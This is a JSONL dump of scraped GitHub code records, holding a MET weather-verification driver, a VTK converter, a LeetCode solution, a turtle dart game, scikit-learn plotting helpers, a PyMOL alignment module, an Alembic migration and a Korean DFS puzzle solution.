schema.TOTAL_TIME_ESTIMATED.name])\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/lib/path_time_estimator/test_path_time_estimator.py","file_name":"test_path_time_estimator.py","file_ext":"py","file_size_in_byte":3807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39793068425","text":"#!/usr/bin/env python\n\nimport argparse\nfrom datetime import datetime\nimport os\nfrom pkg_resources import resource_filename\nimport shutil\n\nfrom run_met import fcst_processing, obs_processing, \\\n met_processing\n\n\"\"\"\n 1. Synopsis:\n Run MET verification using:\n * wrfout from S3\n * observations from DDB\n Note: only ADPSFC (FM-12) data is supported\n \n 2. start_met directories structure\n ---------------------------------------\n - forecast preprocessing\n ---------------------------------------\n * fcst/2017121801/wrf_hourly_* : downloaded wrf output \n (\"2017121801 is the analysis time\")\n * wrf_interp/2017121801/wrf_hourly_* : wrf output from wrf_interp\n (\"2017121801 is the analysis time\")\n\n --------------------------------------- \n - observation preprocessing\n ---------------------------------------\n * little_r/all.little_r.2017-12-18_02 : downloaded observation (in little_r)\n * obsproc/obs_gts_2017-12-18_02:00:00.3DVAR : obs processed by obsproc (hourly data)\n * obs_ascii/obs_ascii : obs written in ascii for MET\n * ascii2nc/obs_ascii.nc : obs written in netcdf\n \n ---------------------------------------\n - met: verification\n ---------------------------------------\n * met_dir/point_stat/2017121801/* : output from point_stat\n (\"2017121801 is the analysis time\")\n \n ---------------------------------------\n - Example for debugging\n ---------------------------------------\n return PARSER.parse_args(['--start_analysis_time', '201712271800', '--end_analysis_time', '201712271800',\n '--analysis_time_interval', '1', '--forecast_length', '2',\n '--obsproc_installation', '/home/jzanetti/programs/WRFDA_V3.9.1/WRFDA/var/obsproc',\n '--wrf_interp_installation', '/home/jzanetti/programs/wrf_interp/wrf_interp',\n '--met_installation', '/home/jzanetti/programs/met-6.0.20170403/met-6.0',\n '--work_dir', '//home/jzanetti/mydata/run_met',\n '--run_obspreprocess', '--ascii2nc_config', '/home/jzanetti/workspace/run_met/etc/ascii2nc.config',\n '--run_wrf_interp', '--model', 'nz8kmN-NCEP', '--domain_id', '2',\n '--run_pointstat', '--pointstat_config', '/home/jzanetti/workspace/run_met/etc/pointstat.config'\n ])\n return PARSER.parse_args(['--start_analysis_time', '201712250000', '--end_analysis_time', '201712250000',\n '--analysis_time_interval', '1', '--forecast_length', '1',\n '--obsproc_installation', '/home/szhang/Programs/WRFDA_V3.9.1/WRFDA/var/obsproc',\n '--wrf_interp_installation', '/home/szhang/programs/wrf_interp/wrf_interp',\n '--met_installation', '/home/szhang/Programs/met-6.0/met-6.0',\n '--work_dir', '/home/szhang/Desktop/run_ver/met/nz8kmN-NCEP',\n '--run_obs2ascii', '--ascii2nc_config', '/home/szhang/workspace/run_met_20180110/etc/ascii2nc.config',\n '--run_wrf_interp', '--model', 'nz8kmN-NCEP', '--domain_id', '2',\n '--run_pointstat', '--pointstat_config', '/home/szhang/workspace/run_met_20180110/etc/pointstat.config'\n ])\n \n\n\"\"\"\n\ndef valid_datetime(timestamp):\n '''turn a timestamp into a datetime object'''\n try:\n return datetime.strptime(timestamp, \"%Y%m%d%H%M\")\n except ValueError:\n msg = \"Not a valid date: '{}'.\".format(timestamp)\n raise argparse.ArgumentTypeError(msg)\n\ndef setup_dir(new_run, working_dir):\n if new_run:\n if os.path.exists(working_dir):\n shutil.rmtree(working_dir)\n \n dir_dict = {}\n dir_dict['little_r_dir'] = os.path.join(working_dir, 'little_r')\n dir_dict['obsproc_dir'] = os.path.join(working_dir, 'obsproc')\n dir_dict['obs_ascii_dir'] = os.path.join(working_dir, 'obs_ascii')\n dir_dict['obs_ascii2nc'] = os.path.join(working_dir, 'ascii2nc')\n dir_dict['fcst_dir'] = os.path.join(working_dir, 'fcst')\n dir_dict['wrf_interp_dir'] = os.path.join(working_dir, 'wp')\n dir_dict['point_stat_dir'] = os.path.join(working_dir, 'met_dir', 'point_stat')\n \n for cdir in dir_dict.keys():\n if not os.path.exists(dir_dict[cdir]):\n os.makedirs(dir_dict[cdir])\n\n return dir_dict\n\ndef setup_parser():\n \"\"\"run verifications\"\"\"\n PARSER = argparse.ArgumentParser(\n description='run verifications')\n \n # -----------------\n # required\n # -----------------\n PARSER.add_argument('--start_analysis_time', type=valid_datetime, \n required=True, help=\"start analysis time (YYYYMMDDHHM)\")\n PARSER.add_argument('--end_analysis_time', type=valid_datetime, \n required=True, help=\"end analysis time (YYYYMMDDHHM)\")\n PARSER.add_argument('--forecast_length', type=str, \n required=True, help=\"forecast length (hour)\")\n PARSER.add_argument('--analysis_time_interval', type=str, \n required=True, help=\"analysis time increment\")\n PARSER.add_argument('--obsproc_installation', type=str, \n required=True, help=\"obsproc installation\")\n PARSER.add_argument('--wrf_interp_installation', type=str, \n required=True, help=\"wrf_interp installation\")\n PARSER.add_argument('--met_installation', type=str, \n required=True, help=\"met installation\")\n PARSER.add_argument('--model', type=str, default='nz8kmN-NCEP', \n required=True, help=\"model name\")\n\n \n # -----------------\n # optional\n # -----------------\n PARSER.add_argument('--work_dir', type=str, \n required=False, default=os.getcwd(), help='working dir')\n PARSER.add_argument('--new_run', dest = 'new_run', default=False, \n help=\"delete the old data and create a new run\",action='store_true')\n PARSER.add_argument('--domain_id', type=str, default='2', help=\"domain ID\")\n\n # -----------------\n # download data from s3/ddb (download_obs, download_fcst)\n # -----------------\n PARSER.add_argument('--download_obs', dest = 'download_obs', default=False, \n help=\"download observation in little_r\",action='store_true')\n PARSER.add_argument('--pre_download_obs', dest = 'pre_download_obs', type=str, \n help=\"downloaded obs from previous true (not effective if \\\n --download_obs is on)\", default=None)\n PARSER.add_argument('--download_fcst', dest = 'download_fcst', default=False, \n help=\"download wrfout from S3\",action='store_true')\n PARSER.add_argument('--download_fcst_source', dest = 'download_fcst_source', \n default='internal', \n help=\"choose from internal or archive\")\n PARSER.add_argument('--download_fcst_unique_id', \n dest = 'download_fcst_unique_id', \n default='12345', \n help=\"unique_id required by data download from internal\")\n\n\n # -----------------\n # run observation preprocessing (obsproc => obs2ascii => ascii2nc)\n # -----------------\n PARSER.add_argument('--run_obspreprocess', dest = 'run_obspreprocess', default=False, \n help=\"run all obs preprcessing tasks: \\\n run_obsproc + run_obs2ascii + run_ascii22nc\", \n action='store_true')\n PARSER.add_argument('--run_obsproc', dest = 'run_obsproc', default=False, \n help=\"run obsproc to little_r\",action='store_true')\n PARSER.add_argument('--run_obs2ascii', dest = 'run_obs2ascii', default=False, \n help=\"covert obsproc output to the \\\n format required by ascii2nc\",action='store_true')\n PARSER.add_argument('--run_ascii2nc', dest = 'run_ascii2nc', default=False, \n help=\"run ascii2nc from MET\",action='store_true')\n PARSER.add_argument('--ascii2nc_config', type=str, required=False,\n help=\"ascii2nc config\")\n\n\n # -----------------\n # run fcst preprocessing (wrf_interp)\n # -----------------\n PARSER.add_argument('--run_wrf_interp', dest = 'run_wrf_interp', default=False, \n help=\"run wrf_interp\",action='store_true')\n\n # -----------------------\n # pointstat\n # -----------------------\n PARSER.add_argument('--run_pointstat', dest = 'run_pointstat', default=False, \n help=\"run pointstat from MET\",action='store_true')\n PARSER.add_argument('--pointstat_config', type=str, required=False,\n help=\"pointstat config\")\n\n # -----------------------\n # local_checks\n # -----------------------\n PARSER.add_argument('--run_local_checks', dest = 'run_local_checks', default=False, \n help=\"run point based verification using local codes\",action='store_true')\n\n return PARSER.parse_args()\n '''\n return PARSER.parse_args(['--start_analysis_time', '201712250000', '--end_analysis_time', '201712250000',\n '--analysis_time_interval', '1', '--forecast_length', '8',\n '--obsproc_installation', '/home/szhang/programs/WRFDA_V3.9.1/WRFDA/var/obsproc',\n '--wrf_interp_installation', '/home/szhang/programs/wrf_interp/wrf_interp',\n '--met_installation', '/home/szhang/programs/met-6.0.20170403/met-6.0',\n '--work_dir', '/home/szhang/workspace/gsi_exp/met/obs',\n '--run_obsproc', '--run_obs2ascii', '--model', 'nz8kmN-NCEP', '--download_obs'\n ])\n '''\n \n \ndef main():\n args = setup_parser()\n \n # 0: set up the required directoriesobsproc_dir\n dir_dict = setup_dir(args.new_run, args.work_dir)\n if args.run_obspreprocess:\n args.run_obsproc = args.run_obs2ascii \\\n = args.run_ascii2nc = True\n \n # ----------------------------------------------\n # 1. Process observations\n # ----------------------------------------------\n # 1.1: download little_r\n if args.download_obs:\n obs_processing.download_obs(args, dir_dict['little_r_dir'])\n \n # 1.2: run obsproc\n if args.run_obsproc:\n # 1.2.1 check if model name is provided\n if not args.model:\n raise Exception('model name is required for run_obsproc, use --model')\n \n # 1.2.2 check if the model config is provided (according to the model name)\n fcst_config_path = \\\n resource_filename('run_met', \n '../../../../run_met/etc/{}.yaml'.format(args.model))\n \n #fcst_config_path = '/home/szhang/GitHub_branches/run_met_20180420/etc/nz8kmN-NCEP.yaml'\n if not os.path.exists(fcst_config_path):\n raise Exception(fcst_config_path + ' does not exist')\n # 1.2.3 run obsproc\n obs_processing.run_obsproc(args, fcst_config_path, \n dir_dict['little_r_dir'], dir_dict['obsproc_dir'])\n \n # 1.3: convert output from obsproc to the ascii format that required by ascii2nc (met)\n if args.run_obs2ascii:\n obsproc_data, processed_list = obs_processing.get_obsproc_obs(args, dir_dict['obsproc_dir'])\n obs_processing.obsproc2ascii(dir_dict['obs_ascii_dir'], obsproc_data, processed_list)\n \n # 1.4: run ascii2nc\n if args.run_ascii2nc:\n if not args.ascii2nc_config:\n raise Exception('Config for ascii2nc is missing (required by run_ascii2nc), use --ascii2nc_config')\n obs_processing.ascii2nc(dir_dict['obs_ascii_dir'], dir_dict['obs_ascii2nc'],\n args.met_installation, args.ascii2nc_config)\n \n else:\n if args.pre_download_obs and \\\n (not os.path.exists(os.path.join(dir_dict['obs_ascii2nc'], 'obs_ascii.nc'))):\n os.symlink(args.pre_download_obs, \n os.path.join(dir_dict['obs_ascii2nc'], 'obs_ascii.nc'))\n \n # ----------------------------------------------\n # 2. Process forecast\n # ----------------------------------------------\n # 2.1: download forecast\n if args.download_fcst:\n fcst_processing.download_fcst(args, dir_dict['fcst_dir'])\n \n # 2.2: run wrf_interp\n if args.run_wrf_interp:\n if not (args.model and args.domain_id):\n raise Exception('--model and --domain_id are required by --run_wrf_interp')\n fcst_processing.wrf_interp(args, dir_dict['fcst_dir'], \n dir_dict['wrf_interp_dir'])\n \n # ----------------------------------------------\n # 3. run point_stat\n # ---------------------------------------------- \n # 3.1 run point_stat\n if args.run_pointstat:\n if not args.pointstat_config:\n raise Exception('--pointstat_config is required by --run_pointstat')\n met_processing.run_pointstat(args, dir_dict,\n args.pointstat_config)\n \n\n \nif __name__ == '__main__':\n main()\n \n","repo_name":"jzanetti/run_met","sub_path":"scripts/start_met.py","file_name":"start_met.py","file_ext":"py","file_size_in_byte":13975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74554792402","text":"#!/usr/bin/env python\n\nfrom numpy import *\nimport argparse\nimport os\nimport gzip\n\n# This is the header that goes at the top of all VTK files\nvtkheader=\"\"\"# vtk DataFile Version 3.0\nvtk output\nASCII\nDATASET STRUCTURED_GRID\n\"\"\"\n\n# Load all of the information needed from the file\ndef loadplanefile(filename):\n dat=loadtxt(filename, skiprows=2)\n # Get the maximum indices\n numplanes = int(max(dat[:,0]))\n Numj = int(max(dat[:,1]))\n Numi = int(max(dat[:,2]))\n #print numplanes, Numi, Numj\n fname, fext = os.path.splitext(filename)\n if ((fext == '.gz') or (fext == '.GZ')):\n with gzip.open(filename) as fp:\n timestring = fp.readline().strip().split()[1]\n headers = fp.readline().strip('#').split()[1:]\n else:\n with open(filename) as fp:\n timestring = fp.readline().strip().split()[1]\n headers = fp.readline().strip('#').split()[1:]\n time=float(timestring)\n #print time, headers\n fp.close()\n return dat, time, headers\n\n# group the list of variables\ndef groupvars(allvarlist):\n justvarnames = [x.split(\"[\")[0] for x in allvarlist]\n uniquevars = []\n [uniquevars.append(x) for x in justvarnames if x not in uniquevars]\n varsizes = [[x, justvarnames.count(x)] for x in uniquevars]\n return varsizes\n\n# Convert a file into vtk format \ndef convertfile(filename, planenum=-1, outdir=''):\n basefile=os.path.splitext(filename)[0]\n headfile, tailfile=os.path.split(basefile)\n print(\"Converting \"+filename)\n dat, time, headers=loadplanefile(filename)\n allvars = headers[5:]\n groupedvars=groupvars(allvars)\n numplanes = int(max(dat[:,0]))+1\n Numj = int(max(dat[:,1]))+1\n Numi = int(max(dat[:,2]))+1\n Nvars = len(allvars)\n Ngroupedvars=len(groupedvars)\n #print Numi, Numj, numplanes, Nvars, Ngroupedvars\n #print allvars, groupedvars\n if planenum<0:\n doplanes=arange(numplanes)\n else:\n doplanes=[planenum]\n\n # Go through each plane\n for planenum in doplanes:\n planedat = dat[dat[:,0]==planenum,:]\n Npoints = (Numi)*(Numj)\n Ncells = (Numi-1)*(Numj-1)\n if len(outdir)>0: \n newfile = tailfile+\"_plane\"+repr(planenum)+\".vtk\"\n newfile = outdir+'/'+newfile\n else:\n newfile = basefile+\"_plane\"+repr(planenum)+\".vtk\"\n print(\" -> writing \"+newfile)\n f = open(newfile,\"w\")\n # Write the header and coordinates\n f.write(vtkheader)\n f.write(\"DIMENSIONS %i %i 1\\n\"%(Numi, Numj))\n f.write(\"POINTS %i float\\n\"%(Npoints))\n for row in planedat:\n f.write(\"%e %e %e\\n\"%(row[3], row[4], row[5]))\n f.write(\"CELL_DATA %i\\n\"%Ncells)\n f.write(\"POINT_DATA %i\\n\"%Npoints)\n # Write the variables\n f.write(\"FIELD FieldData %i\\n\"%Ngroupedvars)\n icol=6\n for ivar, var in enumerate(groupedvars):\n varname=var[0]\n varcomp=var[1]\n f.write(\"%s %i %i float\\n\"%(varname, varcomp, Npoints))\n for row in planedat:\n f.write(\" \".join([repr(x) for x in row[icol:icol+varcomp]]))\n f.write(\"\\n\")\n icol = icol+varcomp\n f.close()\n return\n\n# Handle arguments\nparser = argparse.ArgumentParser(description='Convert sample planes to ASCII VTK format')\nparser.add_argument('PLANEFILE', nargs='+', help=\"Sample plane file(s) to convert\")\nparser.add_argument('--planenum', default=-1, help=\"Convert only this offset plane number [default: convert all planes]\")\nparser.add_argument('--outdir', default='', help=\"Write output files in that directory\")\nargs=parser.parse_args()\n\n# Get the default and user arguments\nfilelist = args.PLANEFILE\nplanenum = int(args.planenum)\noutdir = args.outdir\n\n#print filelist\nfor file in filelist:\n convertfile(file, planenum=planenum, outdir=outdir)\n","repo_name":"lawrenceccheung/NaluWindHelperScripts","sub_path":"convertSamplePlane2VTK.py","file_name":"convertSamplePlane2VTK.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"31322984814","text":"class Solution(object):\n def partitionLabels(self, s):\n # :type s: str\n # :rtype: List[int]\n # Beats 89.1%\n # Initially forgot and made i start at 1 which doesn't take into account cases the first str can be a substr\n\n # Diction containg the last string occurence in s\n c = {}\n\n for i in range(len(s)):\n c[s[i]] = i\n\n res = []\n\n curr = 1\n i = 0\n goal = c[s[0]]\n\n # Edge case len(s) == 1 or 0 for better efficiency\n if len(s) == 1:\n return 1\n elif len(s) == 0:\n return 0\n\n while i < len(s):\n goal = max(goal, c[s[i]])\n\n if goal == i:\n res.append(curr)\n curr = 0\n\n curr += 1\n i += 1\n\n return res\n\n\na = Solution()\nprint(a.partitionLabels(\"ababcbacadefegdehijhklij\"))\n","repo_name":"luyangliuable/coding-notes","sub_path":"algorithms/leetcode/partition_labels.py","file_name":"partition_labels.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"10774373401","text":"from turtle import *\nimport random, math\n\nDART_POS = []\nPI = math.pi\nRadi = 120\n\ndef venn_diagram():\n #function to create venn diagrams\n\n colors = ['red','blue','green']\n diagram = Turtle()\n diagram.speed('fast')\n\n diagram.color(colors[0])\n diagram.begin_fill()\n diagram.penup()\n diagram.back(210)\n diagram.left(90)\n diagram.pendown()\n diagram.circle(-120)\n\n diagram.right(90)\n diagram.penup()\n diagram.home()\n\n diagram.color(colors[1])\n diagram.forward(90)\n diagram.forward(120)\n diagram.left(90)\n diagram.pendown()\n diagram.circle(120)\n\n\n diagram.right(90)\n diagram.penup()\n diagram.home()\n\n diagram.color(colors[2])\n diagram.left(90)\n diagram.forward(150)\n diagram.forward(120)\n diagram.right(90)\n diagram.pendown()\n diagram.circle(-120)\n diagram.penup()\n\n diagram.hideturtle()\n\ndef generate_dart():\n dart = Turtle()\n dart.penup()\n\n #generating random coordinates for the dart\n xcoor = random.randint(-300, 300)\n ycoor = random.randint(-300, 300)\n\n #append x,y coordinates too Global Variable\n DART_POS.append(xcoor)\n DART_POS.append(ycoor)\n\n dart.goto(xcoor,ycoor)\n dart.pendown()\n dart.dot(10, 'purple')\n\ndef evaluateDartPosition():\n \"\"\"function evaluates where the dart lands, and based on where\n it lands returns to the user the amount of points gained\"\"\"\n\n if ((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2) and ((x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2) and ((x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2):\n tr.write(\"1000 Points!\\nDart has landed in all three circles\")\n elif (((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2) and (\n (x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2)):\n tr.write(\"500 Points!\\nDart landed in two circles\")\n elif (((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2) and ((x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2)):\n tr.write(\"500 Points!\\nDart landed in two circles\")\n elif (((x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2) and (\n (x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2)):\n tr.write(\"500 Points!\\nDart landed in two circles\")\n elif ((x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2):\n tr.write(\"100 Points!\\nDart landed in one circle\")\n elif ((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2):\n tr.write(\"100 Points!\\nDart landed in one circle\")\n elif ((x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2):\n tr.write(\"100 Points!\\nDart landed in one circle\")\n else:\n tr.write(\"0 Points, Sorry ... \\nDart landed outside all circles\")\n\n\n\nif __name__ == '__main__':\n window = Screen()\n tr = Turtle()\n tr.hideturtle()\n\n #create venn diagram\n venn_diagram()\n\n #generate dart\n generate_dart()\n\n #dart coordinates\n x = DART_POS[0]\n y = DART_POS[1]\n\n #centers of each circle\n red_center = [-90, 0]\n blue_center = [90, 0]\n green_center = [0, 150]\n\n tr.penup()\n tr.goto(0, -150)\n tr.pendown()\n\n #Evaluate the position of the dart to see how many points gained\n evaluateDartPosition()\n\n\n\n window.mainloop()","repo_name":"e-bushi/cs_one","sub_path":"venn_darts.py","file_name":"venn_darts.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3100542990","text":"# Courtesy of http://scikit-learn.org/stable/auto_examples/model_selection/plot_learning_curve.html\n\nfrom matplotlib.colors import ListedColormap\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import learning_curve, GridSearchCV\nfrom sklearn.metrics import confusion_matrix\nimport itertools\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,\n n_jobs=1, train_sizes=np.linspace(.1, 1.0, 5)):\n \"\"\"\n Generate a simple plot of the test and training learning curve.\n\n Parameters\n ----------\n estimator : object type that implements the \"fit\" and \"predict\" methods\n An object of that type which is cloned for each validation.\n\n title : string\n Title for the chart.\n\n X : array-like, shape (n_samples, n_features)\n Training vector, where n_samples is the number of samples and\n n_features is the number of features.\n\n y : array-like, shape (n_samples) or (n_samples, n_features), optional\n Target relative to X for classification or regression;\n None for unsupervised learning.\n\n ylim : tuple, shape (ymin, ymax), optional\n Defines minimum and maximum yvalues plotted.\n\n cv : int, cross-validation generator or an iterable, optional\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n - None, to use the default 3-fold cross-validation,\n - integer, to specify the number of folds.\n - An object to be used as a cross-validation generator.\n - An iterable yielding train/test splits.\n\n For integer/None inputs, if ``y`` is binary or multiclass,\n :class:`StratifiedKFold` used. If the estimator is not a classifier\n or if ``y`` is neither binary nor multiclass, :class:`KFold` is used.\n\n Refer :ref:`User Guide ` for the various\n cross-validators that can be used here.\n\n n_jobs : integer, optional\n Number of jobs to run in parallel (default 1).\n \"\"\"\n plt.figure()\n plt.title(title)\n if ylim is not None:\n plt.ylim(*ylim)\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n plt.grid()\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n return plt\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n \nfrom scipy import interp\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.model_selection import StratifiedKFold\n\ndef rocauc_curve(clf, X, y, folds=5, verbose=0, title='Receiver operating characteristic example'):\n tprs = []\n aucs = []\n mean_fpr = np.linspace(0, 1, 100)\n cv = StratifiedKFold(n_splits=folds)\n\n i = 0\n for train, test in cv.split(X, y):\n probas_ = clf.fit(X[train], y[train]).predict_proba(X[test])\n # Compute ROC curve and area the curve\n fpr, tpr, thresholds = roc_curve(y[test], probas_[:, 1])\n tprs.append(interp(mean_fpr, fpr, tpr))\n tprs[-1][0] = 0.0\n roc_auc = auc(fpr, tpr)\n aucs.append(roc_auc)\n if verbose > 1:\n plt.plot(fpr, tpr, lw=1, alpha=0.3,\n label='ROC fold %d (AUC = %0.2f)' % (i, roc_auc))\n else:\n plt.plot(fpr, tpr, lw=1, alpha=0.3) \n\n i += 1\n plt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',\n label='Chance', alpha=.8)\n\n mean_tpr = np.mean(tprs, axis=0)\n mean_tpr[-1] = 1.0\n mean_auc = auc(mean_fpr, mean_tpr)\n std_auc = np.std(aucs)\n if verbose > 0:\n plt.plot(mean_fpr, mean_tpr, color='b',\n label=r'Mean ROC (AUC = %0.2f $\\pm$ %0.2f)' % (mean_auc, std_auc),\n lw=2, alpha=.8)\n else:\n plt.plot(mean_fpr, mean_tpr, color='b',\n lw=2, alpha=.8) \n\n std_tpr = np.std(tprs, axis=0)\n tprs_upper = np.minimum(mean_tpr + std_tpr, 1)\n tprs_lower = np.maximum(mean_tpr - std_tpr, 0)\n plt.fill_between(mean_fpr, tprs_lower, tprs_upper, color='grey', alpha=.2,\n label=r'$\\pm$ 1 std. dev.')\n \n plt.xlim([-0.05, 1.05])\n plt.ylim([-0.05, 1.05])\n plt.xlabel('FPR')\n plt.ylabel('TPR')\n plt.title(title)\n if verbose > 0:\n plt.legend(loc=\"lower right\")\n plt.show()","repo_name":"DeanPFZ/deep-audio-public","sub_path":"src/classification_plots.py","file_name":"classification_plots.py","file_ext":"py","file_size_in_byte":6194,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"74439397200","text":"from typing import List, NamedTuple, Optional\n\nfrom ...clustal import msa\nfrom ...control import viter\nfrom ...core.pymol import structure\nfrom ...core.pymol.structure import StructureSelection\nfrom ...clustal.Clustal import Clustal, get_clustal\nfrom ...support.msa import Msa\n\nMsaToStructureMap = List[Optional[int]]\n\ndef msa_to_structure_position_map(\n sequence_name : str, \n full_msa : Msa,\n structure_sequence : str,\n clustal : Optional[Clustal] = None\n) -> MsaToStructureMap:\n clustal = clustal or get_clustal()\n sequence = msa.clean_msa_blanks(full_msa[sequence_name])\n result = clustal.run_msa_items(\n [ (\"structure\", structure_sequence)\n , (sequence_name, sequence)\n ]\n )\n\n return list(msa.get_relative_positions(full_msa, result))\n\nSequenceToStructureMap = List[int]\n\ndef sequence_to_structure_position_map(\n selection : StructureSelection\n) -> SequenceToStructureMap:\n return list(sorted(structure.get_pdb_sequence_index(selection).keys()))\n\nclass MsaToPymolStructureMap(NamedTuple):\n msa_to_structure : MsaToStructureMap\n sequence_to_structure : SequenceToStructureMap\n\n def get_pymol_structure_position(self, msa_position: int) -> Optional[int]:\n\n for structure_pos in viter(self.msa_to_structure[msa_position]):\n return self.sequence_to_structure[structure_pos] + 1\n\n return None\n\ndef msa_to_pymol_structure_map(\n structure_selection: StructureSelection,\n sequence_name : str, \n full_msa : Msa,\n clustal : Optional[Clustal] = None\n):\n structure_sequence = structure.get_pdb_sequence(structure_selection)\n msa_to_structure = msa_to_structure_position_map(\n sequence_name,\n full_msa,\n structure_sequence,\n clustal\n )\n sequence_to_structure = sequence_to_structure_position_map(\n structure_selection\n )\n\n return MsaToPymolStructureMap(\n msa_to_structure = msa_to_structure,\n sequence_to_structure = sequence_to_structure\n )\n\n","repo_name":"TUM-CBR/pymol-plugins","sub_path":"cbr/msa/visual/support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43024788694","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nAdd primary key to Dependency\n\nRevision ID: 5ff0c99c94\nRevises: 312040efcfe\nCreate Date: 2015-07-20 19:50:55.153532\n\"\"\"\n\nimport sqlalchemy as sa\n\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\nrevision = \"5ff0c99c94\"\ndown_revision = \"312040efcfe\"\n\n\ndef upgrade():\n op.add_column(\n \"release_dependencies\",\n sa.Column(\n \"id\",\n postgresql.UUID(as_uuid=True),\n server_default=sa.text(\"gen_random_uuid()\"),\n nullable=False,\n ),\n )\n\n\ndef downgrade():\n op.drop_column(\"release_dependencies\", \"id\")\n","repo_name":"pypi/warehouse","sub_path":"warehouse/migrations/versions/5ff0c99c94_add_primary_key_to_dependency.py","file_name":"5ff0c99c94_add_primary_key_to_dependency.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":3382,"dataset":"github-code","pt":"3"}
+{"seq_id":"23310330149","text":"# 1. 재귀 돌리면서 숫자를 붙인다.\n# 2. 숫자가 7자리가 되면\n# 3. set에다가 넣는다.\n\n\nT = int(input())\n\n\ndy = [-1,1,0,0]\ndx = [0,0,1,-1]\n# 특정 위치를 기점으로 상하좌우 문자를 붙여야하므로\n# 파라미터로 좌표값도 받아야한다.\n\ndef dfs(y,x,number):\n if len(number) == 7:\n result.add(number)\n return\n \n for k in range(4):\n ny = y + dy[k]\n nx = x + dx[k]\n\n # 갈 수 없는 위치면 continue\n if nx < 0 or nx >= 4:\n continue\n\n if ny < 0 or ny >= 4:\n continue\n\n # 갈 수 있다면, 다음 위치로 이동\n dfs(ny,nx, number + map_lst[ny][nx])\n\nfor tc in range(1,T+1):\n # 서로 다른 수를 합친다 -> 문자열이 더 좋다\n map_lst = [list(map(str,input().split())) for _ in range(4)]\n\n # 7자리 수를 중복 제거하여 저장\n result = set()\n \n # 시작 지점 == 모두 보아야한다.\n for i in range(4):\n for j in range(4):\n dfs(i,j,map_lst[i][j])\n\n print(f'#{tc} {len(result)}')","repo_name":"1234jienf/TIL","sub_path":"0922/problem/SWEA_2819_격자판.py","file_name":"SWEA_2819_격자판.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
